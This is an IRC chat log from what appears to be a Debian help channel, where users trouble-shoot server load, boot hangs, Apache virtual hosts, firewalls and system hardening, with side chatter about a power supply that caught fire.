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| 00:00.38 | gcardinal | hello guys I have huge urgent problem... Please please help me... |
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| 00:01.40 | gcardinal | I have a wiki www.pvxbuilds.com that is hosted on a shared hosting at www.one.com now. it has been slow so I got a dedicated server, 3ghz celeron, 512mb ram. it runs latest debian and after installing everething and all that I switched all traffic from old one to this new one |
| 00:01.49 | gcardinal | and its "killed" almost instantly |
| 00:02.46 | Wyzard | "killed" in the sense of not being able to handle the traffic? |
| 00:02.48 | Wyzard | It loads fine for me |
| 00:03.05 | gcardinal | yes the new one are under www.pvxwiki.com |
| 00:03.53 | Wyzard | Is it CPU usage that's killing it, or swapping due to not enough RAM, or something else? |
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| 00:04.33 | gcardinal | CPU are on 8% last time I check.. now its tottaly gone for me... will try to hard reboot it |
| 00:04.46 | Wyzard | Check your memory usage |
| 00:04.52 | Wyzard | It could be that 512MB isn't enough and it's swapping a lot |
| 00:05.21 | gcardinal | how can I see that fix that ? |
| 00:05.31 | Wyzard | Run "free" from a shell |
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| 00:08.56 | gcardinal | Mem: 508360 116140 392220 |
| 00:09.21 | Wyzard | that looks OK |
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| 00:09.33 | daeos | better than mine! |
| 00:09.37 | gcardinal | yes but thats after a hard reboot of the box, and apache is off |
| 00:09.52 | Wyzard | ah, ok |
| 00:09.52 | gcardinal | as soon as I put it on it will almostly instantly die" |
| 00:09.58 | Wyzard | Start up apache and check the memory usage again |
| 00:10.01 | daeos | 386872 379548 7324 <-- thats mine |
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| 00:11.32 | gcardinal | I am afraid I will not get that far... :S |
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| 00:19.14 | unix_infidel | hey, if i move an internal drive with data that's jumpered to slave can i move it to an external, set it to cable select and have the data INTACT without having to reformat it? |
| 00:19.56 | xsdg | unix_infidel: should work (though I'm not too familiar with cable-select) |
| 00:20.10 | unix_infidel | hmmm. |
| 00:20.13 | xsdg | unix_infidel: usually, that only has to do with making the drive talk to the controller, not anything to do with the data on the drive |
| 00:20.32 | daeos | gcardinal: well im not sure what all im running, except, apache, php, mysql, and xorg |
| 00:20.36 | unix_infidel | xsdg: well for instance if you move a drive from slave to master it usualy registers as a raw drive. |
| 00:20.38 | daeos | with vnc and ssh sometimes |
| 00:20.45 | xsdg | unix_infidel: umm... |
| 00:20.53 | xsdg | unix_infidel: this has never, ever been my experience |
| 00:20.56 | unix_infidel | so i'm wondering whether that will happen with AN EXTERNAL controller. |
| 00:21.06 | xsdg | unix_infidel: what sort of hardware are you working with? |
| 00:21.09 | unix_infidel | xsdg: talking ide here. |
| 00:21.26 | unix_infidel | internal IDE with data written to it. |
| 00:21.41 | unix_infidel | as slave, transferred to an external enclosure that requires the drive be set to master |
| 00:22.18 | xsdg | unix_infidel: well, I've been messing around with computers for slightly over 15 years now, and I've never experienced data issues when switching a drive from master to slave or vice-versa (assuming I also switched the position on the cable) |
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| 00:22.40 | xsdg | unix_infidel: so I'm not sure what the problem you're experiencing is |
| 00:22.51 | xsdg | unix_infidel: what do you mean "it usually registers as a raw drive"? |
| 00:22.58 | unix_infidel | xsdg: i havent tried it, i'm wondering if i need to back it up and transfer the data before i give it a ago. |
| 00:23.06 | unix_infidel | xsdg: a blank drive with no partitions. |
| 00:23.19 | xsdg | unix_infidel: what sort of computer are you talking about? |
| 00:23.30 | unix_infidel | desktop |
| 00:23.39 | unix_infidel | x86 |
| 00:24.04 | xsdg | unix_infidel: umm... do you have more details? (vintage? processor? controllers?) |
| 00:24.15 | xsdg | unix_infidel: also, you're not running RAID, are you? |
| 00:24.15 | unix_infidel | standard ide controller on a p4 mobo. |
| 00:24.19 | unix_infidel | no raid. |
| 00:24.37 | xsdg | unix_infidel: how old is it? |
| 00:26.15 | buu | Hrm. |
| 00:26.35 | buu | Can anyone tell me how I can give a process certain capabilities, like the ability to chroot and change its uid, without being root? |
| 00:27.31 | xsdg | buu: to change UID it needs to run as root (unless you use special security models and stuff; I'm not familiar with this sort of setup at all, however) |
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| 00:27.47 | buu | xsdg: =[ |
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| 00:28.48 | waspius | what package should i use for java browser support |
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| 00:29.05 | xsdg | buu: depending on what you're trying to achieve, some sort of priviledge dropping might work (where a part runs as root, and spawns a child as a certain UID that actually does stuff) |
| 00:29.20 | buu | xsdg: That's essentially what I do now. |
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| 00:29.42 | buu | But I dislike running it as root. |
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| 00:29.53 | xsdg | buu: yeah, beyond that, I don't think you can do anything without poking at how the kernel handles security |
| 00:31.14 | waspius | ?? |
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| 00:31.57 | xsdg | waspius: I use sable for java, but I forget whether or not java-in-browser works for me |
| 00:32.08 | xsdg | (sablevm, that is) |
| 00:32.32 | waspius | what is sable? |
| 00:33.01 | xsdg | waspius: a java virtual machine |
| 00:33.10 | waspius | ok |
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| 00:45.00 | Hamselv | hi got a machine it timesout at "Waiting for /dev to be populated" |
| 00:45.02 | Acu | I want to make two virtual hosts on a local are network Apache server _I run Apache 2.2 on Etch. Which file have to have the virtual host configuration? |
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| 00:45.16 | Hamselv | anyone got an idea why that happens ? |
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| 00:46.12 | Hamselv | and after the timeout it stalls at Loading device-mapper support |
| 00:46.27 | Hamselv | Im really lost here |
| 00:47.32 | Acu | Hamselv: what platform do you use - what version of Debian - did you just install it ? Or it run before and sudenly this happen? |
| 00:48.01 | Hamselv | it has been running for 1,5 year |
| 00:48.12 | Hamselv | has been reset only 2 times |
| 00:48.22 | Hamselv | and I had to start it up today after a power out |
| 00:48.30 | Hamselv | and then it does this |
| 00:48.40 | Hamselv | Ive tried to install a new kernel now |
| 00:48.49 | Acu | does it boot and it does it after few minutes running ? |
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| 00:49.01 | Hamselv | it does boot |
| 00:49.12 | Hamselv | and its after a few min yes |
| 00:50.07 | Hamselv | Acu: do you have any ideas ? |
| 00:50.14 | Hamselv | Ill be really happy if you did :-) |
| 00:50.45 | Hamselv | its a production server, and it needs to be running in app. 4,5 hours again |
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| 00:52.07 | Acu | Hamselv: I am not expert - but I would suspect first somekind of hardware failure - even the CPU fan can go out - when CPU gets hot system freezez - so you can just open the box and look |
| 00:52.41 | Hamselv | hmm |
| 00:52.47 | Acu | other problem can be the HDD interface - or the HDD itself - specially if you had a power outaage |
| 00:52.55 | Hamselv | ctrl C helps it on the way |
| 00:53.15 | Hamselv | well .. a cleaning wouldnt harm |
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| 00:54.02 | Acu | to sort it out fast you could just download KNOPPIX and boot with it your server ( it is a live system so it doesnot affect anything in your hardware) - If Knoppix does not freezez means it may not be a hardware |
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| 00:58.48 | Hamselv | Acu: thats what I did with the rescue Cd |
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| 00:59.34 | buck | Hi all, may I ask a question? |
| 01:00.29 | sn0 | buck yes you may |
| 01:00.57 | maxamillion | buck: please don't ask to ask a question, just ask the question :) |
| 01:01.15 | buck | Thanks sn0. What's a good fire wall for etch? It's on a desk top. |
| 01:01.51 | sn0 | buck there are many options or front ends for the iptables section of the kernel, which is included |
| 01:01.57 | buck | it didn't come with iptables |
| 01:02.11 | daeos | i wonder if there is a keyboard made with EVERY key named "any" |
| 01:02.47 | maxamillion | buck: it came with iptables, iptables is built into the kernel |
| 01:03.10 | buck | i thought it was drop from etch |
| 01:03.12 | sn0 | daeos does a black keyboard count |
| 01:03.18 | sn0 | blank* |
| 01:03.19 | maxamillion | buck: you might want to try firestarter ... its a graphical front end to iptables that has alot of nice features |
| 01:03.32 | maxamillion | !info firestarter | buck |
| 01:03.34 | buck | ok, thanks |
| 01:04.00 | maxamillion | buck: no problem, and firestarter is available in the repositories |
| 01:04.14 | daeos | sn0: i suppose, but not sure if it goes with the 'press any key to continue' |
| 01:04.14 | maxamillion | !info firestarter |
| 01:04.16 | dpkg | firestarter: (gtk program for managing and observing your firewall), section admin, is optional. Version: 1.0.3-2 (sid), Packaged size: 395 kB, Installed size: 1904 kB |
| 01:04.19 | buck | cool, i REALLY like ecth so far |
| 01:04.29 | maxamillion | buck: yes, etch is awesome |
| 01:04.48 | buck | it blows the doors of SuSE |
| 01:04.53 | buck | *off |
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| 01:06.25 | maxamillion | buck: well, suse and debian seem to have different aims in the open source world, but i would have to completely agree |
| 01:06.39 | sn0 | indeed |
| 01:06.44 | Hamselv | I dont get this |
| 01:07.00 | Hamselv | why does udev timeout |
| 01:07.03 | Hamselv | on boot |
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| 01:07.53 | furrywolf | bah! big uptime -> 0 uptime. :( |
| 01:08.21 | furrywolf | the computer I was installing debian on... caught fire. |
| 01:08.26 | furrywolf | tripping my ups |
| 01:08.35 | furrywolf | and powering down everything in the room |
| 01:08.57 | zinx | localhost is on fire! |
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| 01:09.10 | maxamillion | furrywolf: wow ... uhhh, that's horrible |
| 01:09.47 | furrywolf | heh |
| 01:09.54 | zinx | i put lesser computers off the UPS :D |
| 01:10.10 | zinx | doesn't matter if the power goes out while i'm installing.. i'll just have to reinstall |
| 01:10.12 | furrywolf | quite impressive light show from the power supply... whole room in nice bright UV, clouds of black smoke... |
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| 01:10.33 | nephtes | Bad PSU? |
| 01:10.39 | furrywolf | I got the power cord yanked out the back within about 2 seconds |
| 01:10.44 | furrywolf | ups was already shut off. |
| 01:11.00 | maxamillion | bad mobo? ... cpu fan die? ..... |
| 01:11.14 | furrywolf | nephtes: bad psu, and hopefully only bad psu... need to put a new one in and make sure it didn't take the motherboard or anything else out with it. |
| 01:11.26 | zinx | it sounds like it probably fried everything |
| 01:11.28 | zinx | but good luck |
| 01:11.45 | nephtes | Was it one of those crapass brands you've never heard of before? |
| 01:12.07 | nephtes | I've been burned (almost literally) by those twice before |
| 01:12.15 | furrywolf | took the psu apart while waiting for fsck on this box... about a 1" circle of the board completely obliterated... I can't even see what components where in the middle. there's leads sticking out the back of the board, but no components left on top. |
| 01:12.24 | furrywolf | nope, a $$$ enermax. |
| 01:12.28 | nephtes | Huh |
| 01:12.33 | zinx | i have one here that will not power back up after you turn it off until it's been unplugged for a few minutes |
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| 01:12.40 | tonsofpcs | If I have two apt repos set up with a package of the same name in each of them, how do I choose where it is gotten from? |
| 01:12.49 | zinx | other than that it seems to work fine... but i'm not gonna trust it :) |
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| 01:13.26 | furrywolf | heh, this is one of the few I did trust, as it was a decent-ish brand, and wasn't a Deer-made board. |
| 01:13.40 | nephtes | Ahhhh Deer |
| 01:13.42 | NovenTheHero | hey everyone, I got a small issue with Iceweasel |
| 01:13.48 | zinx | unfortunately for you, it probably fried everything :/ |
| 01:13.58 | nephtes | One of the two aforementioned PSUs was a Deer |
| 01:13.58 | zinx | i'd be very surprised if your hardware lived |
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| 01:14.13 | arooni | do all scripts in /etc/init.d run on startup? |
| 01:14.31 | furrywolf | arooni: no. |
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| 01:15.35 | g00se | Wonder whether it would be possible to get grub to boot XP rescue partition? |
| 01:16.54 | maxamillion | g00se: i would imagine if you point the config file to the correct partition that life would be good |
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| 01:17.32 | daeos | NovenTheHero: so do i, it didn't install, only IceApe ;) |
| 01:18.01 | NovenTheHero | yea but Im trying to compile iceweasel and Im having issues with it heh |
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| 01:18.24 | g00se | maxamillion: well i wonder if it's designed to be booted into. I'm reading it at the moment. Any way to discover if boot sector on it? May require XP rescue cd to boot it... |
| 01:18.35 | maxamillion | daeos: what's iceApe? |
| 01:18.56 | maxamillion | g00se: oh, yeah ... that would probably be the better route to go |
| 01:19.00 | nephtes | Firefox + Firesomething extension, I'm guessing |
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| 01:19.18 | g00se | maxamillion: it's just an experiment really |
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| 01:20.37 | maxamillion | ah, ok ... debian's version of seamonkey |
| 01:20.53 | g00se | Wonder if the boot sector is always the same, then i could maybe read it raw to see if MBR there? |
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| 01:21.50 | maxamillion | g00se: i don't see why not |
| 01:23.40 | cheatersrealm | I am trying to use the debian 4r0 netinst cd, and I am getting the error "warning: failure trying to run: chroot /target dpkg --force-depends --install var/cache/apt/archives/base-files_4_i386.deb var/cache/apt/archives/base-passwd_3.5.11_i386.deb |
| 01:24.06 | arooni | will this update-rc.d .... applied to any program get it to run when device starst up next time |
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| 01:24.15 | arooni | when os starts up next time |
| 01:24.29 | asg | arooni: only to scripts in /etc/init.d |
| 01:24.30 | simonrvn | it only works on files in /etc/init.d |
| 01:24.37 | arooni | ah ah |
| 01:24.44 | asg | arooni: and only ones that are written correctly (see /etc/init.d/skeleton for an example) |
| 01:24.44 | simonrvn | asg: :) |
| 01:24.51 | arooni | but if i have something thats not there |
| 01:25.05 | arooni | like an app, say a web server |
| 01:25.07 | asg | arooni: use /etc/init.d/skeleton as a basis for creating your own |
| 01:25.13 | arooni | can i sym link to it? |
| 01:25.15 | simonrvn | and you need us to answer that? |
| 01:25.16 | arooni | then run the init.d thing? |
| 01:25.22 | Acu | is there any tool for debian or other linuxes to create the virtual hosts without the need to manual edit ? |
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| 01:25.42 | asg | arooni: no, look at /etc/init.d/skeleton as a reference example ... it isn't hard |
| 01:25.45 | simonrvn | Acu: context? |
| 01:25.46 | arooni | ah ok |
| 01:25.48 | arooni | thanks folks |
| 01:26.04 | asg | simonrvn: if you beat me, it's only because my slug was swapping :) |
| 01:27.21 | simonrvn | i didn't |
| 01:27.37 | simonrvn | and i paused before hitting RET ;p |
| 01:27.41 | asg | simonrvn: couldn't tell for sure from here, the slug is always swapping |
| 01:27.58 | simonrvn | needs RAM ;) |
| 01:28.12 | asg | simonrvn: yeah, 32M is a little tight for what it's doing |
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| 01:28.38 | Acu | simonrvn: is there a package named context? Is this allowing virtual host creation on apache 2.2 ? |
| 01:28.39 | simonrvn | what's it doing anyway? |
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| 01:29.02 | simonrvn | Acu: no. you hadn't provided context to your question |
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| 01:29.09 | asg | simonrvn: dns, squid, exim4, (mutt + irssi + screen) |
| 01:29.24 | simonrvn | oh fuck... dude |
| 01:29.37 | atealtha | it looks like all the modules are loaded but my audio apps don't recieve midi signals. anyone know what else I need to check? |
| 01:29.46 | simonrvn | the dns alone will make it swap |
| 01:29.51 | atealtha | the midi is through SB AUdigy |
| 01:30.02 | simonrvn | well, depending how many zones you have in it |
| 01:30.24 | asg | simonrvn: only doing local caching for squid since the ISP's nameservers blow |
| 01:30.28 | tonsofpcs | If I have two apt repos set up with a package of the same name in each of them, how do I choose where it is gotten from? |
| 01:30.35 | tonsofpcs | atealtha: what sound system? |
| 01:30.46 | simonrvn | Acu: no, usually you make it from scratch, or get someone else to do it for you, or search google for a virtual host template |
| 01:31.04 | atealtha | tonsofpcs: ??? The midi in is the 5" bay of my audigy platinum |
| 01:31.12 | simonrvn | asg: then the squid and exim4 are making it swap |
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| 01:31.25 | Acu | simonrvn: I am using Debian Etch and Apache 2.2 - I want to create two virtual hosts (at this time I am experimenting in a LAN) however I discovered that Debian's apache 2.2 has split the httpd.conf (actually apache2.conf in few other files) and I am confused as where and how should I create this two new virtual hosts |
| 01:31.44 | asg | simonrvn: I know. I'm kinda doing it on purpose though. It's performant most of the time. |
| 01:31.47 | simonrvn | in sites-available... |
| 01:31.56 | atealtha | Acu: the file layout in /etc/apache2 should give you a good idea |
| 01:31.57 | simonrvn | Acu: ^^^ |
| 01:32.08 | simonrvn | ls -l is a very handy tool ;) |
| 01:32.19 | tonsofpcs | atealtha: OSS? ALSA? JACK? |
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| 01:33.00 | sn0 | nn |
| 01:33.05 | atealtha | tonsofpcs: oh, both ALSA and JACK are installed. they don't interoperate? I have tried both ALSA and JACK in hydrogen |
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| 01:33.18 | dafen | how do force apt-get install a package? |
| 01:33.20 | simonrvn | sn0: do you have anything to do with 'sng'? |
| 01:33.29 | tonsofpcs | atealtha: is jack running? |
| 01:33.31 | dafen | it conflicts with passwd |
| 01:33.37 | atealtha | tonsofpcs: yes same user |
| 01:33.39 | dafen | the debianutils |
| 01:33.44 | dafen | troublesome |
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| 01:33.46 | tonsofpcs | atealtha: then the app should be set to jack |
| 01:33.47 | simonrvn | atealtha: jack will use alsa or alsa-oss-emu |
| 01:33.53 | tonsofpcs | if jack is stopped, it should be set to alsak |
| 01:34.07 | furrywolf | welp, new PSU in, time to give it another go... |
| 01:34.14 | atealtha | right I got that part down |
| 01:34.16 | simonrvn | good luck furrywolf |
| 01:34.52 | simonrvn | hm, i wonder if i have an old .emacs on pylon? |
| 01:35.03 | atealtha | but... midi still doesn't work? |
| 01:35.21 | simonrvn | woohoo i do =) |
| 01:35.56 | furrywolf | woot! power up, POST, boot! |
| 01:36.04 | simonrvn | \o/ |
| 01:36.10 | asg | !win simonrvn |
| 01:36.10 | dpkg | Congratulations, simonrvn! You have won a one way ticket to Cleveland! |
| 01:36.16 | tonsofpcs | atealtha: try with another app? |
| 01:36.29 | simonrvn | i've been to cleveland. the cops suck arse big time |
| 01:36.47 | asg | for free, or do they charge? |
| 01:37.05 | simonrvn | hehehe, knwoing them they'd charge |
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| 01:37.24 | asg | helloooo Cleveland |
| 01:38.43 | atealtha | tonsofpcs: in jack-rack >> midi controls it is blank. A bad sign? |
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| 01:40.12 | abrotman | daeos: i'm not sure |
| 01:40.24 | abrotman | daeos: i'm sure google would tell you |
| 01:40.47 | Xires | how can I make a package containing dependencies for all the packages installed on 1 machine so that I can make another machine identical? |
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| 01:41.23 | tonsofpcs | atealtha: possibly |
| 01:41.30 | tonsofpcs | mine just works |
| 01:41.31 | furrywolf | it's hard to tell where the problem started on the psu... there's so many vaporized parts it'd not be easy to find the cause. |
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| 01:41.52 | furrywolf | all the burnt spots are on the high side of the isolation transformers. |
| 01:42.10 | tonsofpcs | If I have two packages in two different repos with the same name, how do I choose which to install? |
| 01:42.21 | furrywolf | so when it failed, the output probably immediately went to zero, rather than shooting up... hence the still-functioning of the rest of the system. |
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| 01:44.25 | simonrvn | furrywolf: probably a safety feature |
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| 01:45.42 | furrywolf | heh, it vaproized some traces off the back of the board... there's little copper globules on either end, and no trace left in the middle. |
| 01:45.46 | furrywolf | vaporized |
| 01:46.21 | simonrvn | wow |
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| 01:47.26 | furrywolf | if anything, it almost looks like the problem started in the glue they used to stabilize some of the larger parts... |
| 01:48.09 | furrywolf | caught it on fire, then the problem spread. :) |
| 01:48.15 | maxamillion | furrywolf: you should take pictures and send them to the manufacturer, i would be willing to bet you would get free stuff |
| 01:48.21 | furrywolf | so much damage it's hard to identify what failed first. |
| 01:48.37 | furrywolf | maxamillion: heh, not a bad plan. |
| 01:49.08 | simonrvn | that would be a good idea.... they wouldn't want a lawsuit ;) |
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| 01:52.45 | maxamillion | furrywolf: and then you should blog about it .. i wanna see the pics :) |
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| 01:54.09 | HostilePenguin | what would cause segmentation fault on bind9 name server while su'ing ? |
| 01:54.52 | abrotman | your bind9 nameserver su's ? |
| 01:55.18 | HostilePenguin | yes |
| 01:55.30 | arooni | whats a good name for a user whos purposes is to aggregate all email we get at @ourdomain.com |
| 01:55.34 | HostilePenguin | shouldn't? |
| 01:55.53 | Quintin | Anyone here using GAIM? |
| 01:56.11 | Quintin | arooni: paraph |
| 01:56.25 | arooni | whats that? |
| 01:56.26 | Ronin | Quintin: many use gaim im sure |
| 01:56.27 | arooni | paraph ? |
| 01:56.29 | arooni | ;p |
| 01:56.32 | Quintin | arooni: stfw |
| 01:56.38 | Quintin | Is it working? My game wont' work |
| 01:56.41 | Quintin | and I'm getting pissed |
| 01:56.54 | Quintin | "connection problem". Very helpful error msgs too |
| 01:57.11 | Quintin | I did rm -r ~/.gaim , and a reinstall, getting same issue |
| 01:57.14 | Ronin | works fine here on icq and msn |
| 01:57.47 | abrotman | Quintin: on etch? |
| 01:57.50 | Quintin | "Failed to connect to server" |
| 01:57.54 | Quintin | W.T.F. |
| 01:57.58 | Quintin | abrotman: ja |
| 01:58.05 | abrotman | Quintin: which service ? |
| 01:58.14 | Quintin | abrotman: yahoo and msn. |
| 01:58.21 | abrotman | i don't use either .. |
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| 01:58.32 | Quintin | amsn works fine too |
| 01:58.41 | Quintin | I'm going to try the guest login, see if it can connect.. |
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| 01:59.12 | arooni | what is the debian equivalent of 'chckconfig ' ? |
| 01:59.28 | asg | arooni: rcconf or update-rc.d |
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| 02:01.03 | Quintin | Ok, it works with a different login. Grr! |
| 02:01.05 | Quintin | grr I say! |
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| 02:02.26 | Quintin | help plz :( |
| 02:02.56 | abrotman | double check your credentials |
| 02:03.38 | Ronin | and the port |
| 02:03.39 | HostilePenguin | during ssh when i su i get segmentation fault any ideas? |
| 02:03.50 | Quintin | The credentials are correct. |
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| 02:03.58 | Quintin | I've deleted .gaim. it should use defaults, non? |
| 02:04.04 | abrotman | HostilePenguin: anything else segfault ? |
| 02:04.06 | asg | HostilePenguin: strace -o trace.foo 'su ...' |
| 02:04.41 | HostilePenguin | no other segfault |
| 02:04.44 | abrotman | Quintin: what about .gaimrc ? |
| 02:05.12 | HostilePenguin | only when i try su does not even ask for password |
| 02:06.08 | gcardinal | does anyone have working squid config for transparent local proxy ? |
| 02:06.08 | Quintin | abrotman: does not exist |
| 02:06.30 | Quintin | and metacity fucking sucks. I hate computers |
| 02:06.32 | Quintin | bah |
| 02:07.15 | daeos | abrotman: do you know if debian would run on a compaq ipaq pda? |
| 02:07.17 | Xires | how do I make a package that contains dependencies for all the packages on a system? |
| 02:07.36 | furrywolf | http://www.bushytails.net/~furrywolf/enermax01.jpg http://www.bushytails.net/~furrywolf/enermax02.jpg http://www.bushytails.net/~furrywolf/enermax03.jpg <== some psu carnage |
| 02:07.42 | abrotman | daeos: i said .. no idea .. i'd ask google .. i think it's ARM .. but not sure |
| 02:07.42 | asg | Xires: what are you trying to do really? |
| 02:07.49 | maxamillion | furrywolf: thanks for pics :) |
| 02:07.51 | daeos | abrotman: oh sorry, didn't see your reply |
| 02:07.55 | Quintin | Xires: why not just make a list of currently installed packages? |
| 02:08.21 | Quintin | daeos: of course it would. and yea, ask google. handhelds.org. it's run linux for a loooooong time |
| 02:08.34 | abrotman | Quintin: it might not |
| 02:08.34 | furrywolf | maxamillion: you asked. :) |
| 02:08.40 | maxamillion | furrywolf: jeebus!!! |
| 02:08.40 | Xires | asg; I have an 'old' server and a 'new' server..I need a list of all packages on old server so I can make sure the same ones gets installed on the new server |
| 02:08.52 | asg | Xires: /msg dpkg debian clone |
| 02:08.52 | Quintin | Xires: dpkg -l |
| 02:08.53 | maxamillion | furrywolf: that's crazy ... |
| 02:08.55 | abrotman | http://www.google.com/search?hl=en&q=linux+ipaq&btnG=Google+Search |
| 02:08.59 | daeos | Quintin: handhelds.org talk about 2 different flavors only... familar and intamate |
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| 02:09.06 | abrotman | first link is useful |
| 02:09.09 | daeos | Quintin: intimate* |
| 02:09.19 | Xires | asg; ty |
| 02:09.24 | asg | Xires: you're welcome |
| 02:09.41 | Artumi | is it possible to make a debian system very very very paranoidly secure, ?.. and is there a good guide on it? |
| 02:09.55 | abrotman | !secure debian |
| 02:09.55 | dpkg | i guess secure debian is http://www.debian.org/doc/manuals/securing-debian-howto/ |
| 02:09.57 | asg | Artumi: install the harden-doc package and read |
| 02:10.02 | furrywolf | maxamillion: I could get some more damage shots, like the melting of the plastic piece under the board, all the blackened metal, the damage to the computer case... |
| 02:10.15 | Artumi | asg ok i'll start there, thanks |
| 02:10.18 | abrotman | Artumi: there's also bastille .. which might be too much .. and also se-linux |
| 02:10.18 | furrywolf | and remember, it didn't stop until I yanked the power cord. it might well have kept burning if I wasn't there to do so. |
| 02:10.33 | abrotman | furrywolf: did your fur get in there? |
| 02:10.43 | Artumi | abrotman no , i want the thing to be as secure as possible, there is no too much. |
| 02:10.49 | asg | abrotman: gotta hate those hairballs |
| 02:10.52 | furrywolf | abrotman: no, luckly. got a mild case of arc-eye reaching for the power cord, though. |
| 02:10.59 | Artumi | can i use that bastille, the hardened-doc, and the selinux at once though, ? |
| 02:11.06 | asg | Artumi: yes |
| 02:11.08 | maxamillion | furrywolf: naw, that's enough computer carnage for the evening ... but i would definitely send pics to the manufacturer and get free stuff |
| 02:11.13 | Artumi | asg k |
| 02:11.18 | Guerin | if yopu need to ask, probably not |
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| 02:11.32 | furrywolf | last time my eyes hurt this badly I accidentally dropped the tip of my mig welder onto the ground clamp, not noticing it was still on, and not having my hood on. :) |
| 02:11.41 | asg | Artumi: selinux will require some study; it isn't trivial. The other two items will cover most of your needs. |
| 02:11.43 | Artumi | Guerin you know that line was first used by an ice creme company |
| 02:11.51 | furrywolf | there was some seriously good UV coming from that power supply. |
| 02:12.09 | maxamillion | furrywolf: woulda been cool to catch it on video ;) |
| 02:12.11 | Artumi | asg ok, so hardened-doc, bastille, grsec, and some selinux stuff? |
| 02:12.30 | Artumi | hmn actually I dont think I can utilize the selinux, isn't it america only? |
| 02:12.32 | asg | Artumi: grsec and selinux will probably not coexist |
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| 02:12.38 | Guerin | make sure you lock your computer in a sealed cabinet |
| 02:12.40 | Artumi | asg ah good, problem solved |
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| 02:12.42 | asg | Artumi: no, selinux isn't .us only |
| 02:12.44 | Guerin | 100% secure, and much less work |
| 02:12.59 | Artumi | Guerin actually I was thinking of putting it in my fridge once i have the wireless fine tuned |
| 02:13.02 | furrywolf | maxamillion: sorry, when there's fire, smoke, all the equipment in the room turning off, etc, I go for the power cord, not the video camera. :P |
| 02:13.09 | maxamillion | Guerin: until someone goes at it with a crow bar |
| 02:13.18 | asg | Guerin: in a disused lavatory with a sign on the door saying 'beware of the leopard'. |
| 02:13.24 | Guerin | Artumi: oh no, if you have wireless set up, people will be able to access it and it won't be secure |
| 02:13.30 | maxamillion | furrywolf: no no, i completely understand ... but still would have been cool :D |
| 02:13.33 | Artumi | maxamillion be better to put it underneath an atm, those things hold over 200 grand in us dollars, and nobody's gonna pass that up to get to a pc |
| 02:13.46 | Artumi | Guerin .. I want to be able to access it .. |
| 02:13.58 | asg | Artumi: be careful, the feds will look in your fridge. They just nicked a congresscritter here for storing 90k in cash in his freezer. |
| 02:14.01 | Guerin | Artumi: then it won't be as secure as you apparently want it to be |
| 02:14.06 | maxamillion | Artumi: oooo, very true ... i like that idea better |
| 02:14.15 | Artumi | asg yeah i heard that he failed to report it on his taxes |
| 02:14.38 | Guerin | Artumi: my point being that employing four complex security measures you don't understand is often not as useful as employing one you do. |
| 02:14.43 | asg | Artumi: nah, it was supposed to be a bribe he was supposed to deliver but never didn't ;) |
| 02:14.47 | asg | *did |
| 02:15.08 | Artumi | Guerin I don't need to understand it, I just need to put it up.. and then i can can reposition and configure it to work |
| 02:15.33 | Guerin | Artumi: this is a common misconception, and one which leads to an enormous amount of broken security measures. |
| 02:15.34 | asg | Artumi: if you don't understand it, as Guerin says, it won't be useful and you'll never be really sure it's working. |
| 02:15.36 | furrywolf | maxamillion: heh, for all I know, if I plug it back in... :P |
| 02:15.45 | Artumi | asg oh , I'll know if it's working. |
| 02:15.52 | furrywolf | although arcs don't tend to re-start themselves. |
| 02:15.57 | Artumi | asg I just need a list of things to get. |
| 02:15.59 | daeos | Artumi: i saw a tut on someone talking about making a secure debian box, sounded a bit too odd to make a usb stick your grub boot loader |
| 02:16.09 | Artumi | so i have the hardened, more of the nsa's selinux , that bastille project |
| 02:16.12 | maxamillion | furrywolf: no no, we need not fry your entire house hold worth of electronics for my childish desire to see things go up in flames ... but i appreciate the thought :) |
| 02:16.24 | Artumi | daeos hmn that sounds interesting |
| 02:16.27 | furrywolf | maxamillion: nah, I'd do it in the driveway. and not plugged into a ups this time. :P |
| 02:16.32 | furrywolf | tripped my ups off-line... |
| 02:16.37 | asg | Artumi: security isn't 'a list of things you get', it's an ongoing process of evaluating the posture of your machines against past, current, and emerging threats. |
| 02:16.47 | furrywolf | AFTER I pulled the cord. some useful ups logic that is. |
| 02:16.53 | Artumi | asg the journey of a thousand miles begins with a single step. |
| 02:16.58 | maxamillion | furrywolf: ah .. then that i can condone :) |
| 02:17.02 | furrywolf | about a second after I had the cord out, everything else in the room went out. |
| 02:17.29 | nvz | Artumi: and you just took about a ten steps in three different directions without deciding where you were going |
| 02:17.36 | asg | Artumi: then start with harden-doc and any good book on Unix Security (The O'Reilly one and the PH Administrators Handbook are worth looking at) |
| 02:17.40 | Artumi | nvz indeed |
| 02:17.46 | nvz | don't try fight wisdom with fuzzy logic :P |
| 02:17.54 | Artumi | asg wait.. a moment, i wanted to stick with debian |
| 02:18.05 | Artumi | nvz fighting isn't a nice thing to do |
| 02:18.05 | furrywolf | the only good news is I need to build some isolated supplies for a project, and this power supply had a nice chunky torroidal core in it. :) |
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| 02:18.26 | asg | Artumi: securing Debian is easy if you know how to secure Unix. harden-doc just gives you some Debian specific bits. |
| 02:18.29 | Guerin | Artumi: you are implementing the security philosophy known as OMGPONIES |
| 02:18.33 | Artumi | furrywolf toroidel.. like the donut shaped things that russian sakharov did? |
| 02:18.39 | asg | nvz: better to fight anything while wearing fuzzy slippers though |
| 02:18.52 | asg | !ponies |
| 02:18.55 | Artumi | asg well is unix more secure, I guess i can switch if security is better? |
| 02:18.59 | abrotman | !pony asg |
| 02:19.02 | furrywolf | (I need to convert 9v into four isolated +/-20V supplies... one thick winding and four center-tapped thin windings ought to fit nicely around that core...) |
| 02:19.07 | nvz | asg: hmm. now you're scaring me |
| 02:19.16 | asg | nvz: but you love me anyway |
| 02:19.21 | Artumi | !pony asg *2 |
| 02:19.23 | Guerin | Artumi: unix, like any OS, is as secure as its administrator |
| 02:19.34 | nvz | ugh you sound like my future ex-wife |
| 02:19.40 | Artumi | Guerin so If i have someone else administrate it, it would be more secure? |
| 02:19.42 | Guerin | Artumi: which in your case appears to be `not very' |
| 02:19.47 | Guerin | Artumi: depends on the person. |
| 02:19.56 | Artumi | Guerin ok, I want this thing to be very secure. |
| 02:20.01 | furrywolf | can dpkg give out pony vibrators? I'd like that more than a pony right now. :P |
| 02:20.09 | Artumi | which is why I don't want to configure networking |
| 02:20.09 | Guerin | Artumi: if you have asg administer it I would expect it to be versy secure indeed. |
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| 02:20.35 | Artumi | so apart from not configuring networking, what else can I do to secure the debian box? |
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| 02:20.55 | Artumi | will that bastille thing, the hardened doc, and selinux be the way to go, ? |
| 02:20.56 | asg | Artumi: don't turn it on ... |
| 02:21.02 | soblue | unplug the computer and put it in a lead-lined box |
| 02:21.06 | Guerin | Artumi: implement only security measures which you understand thoroughly. |
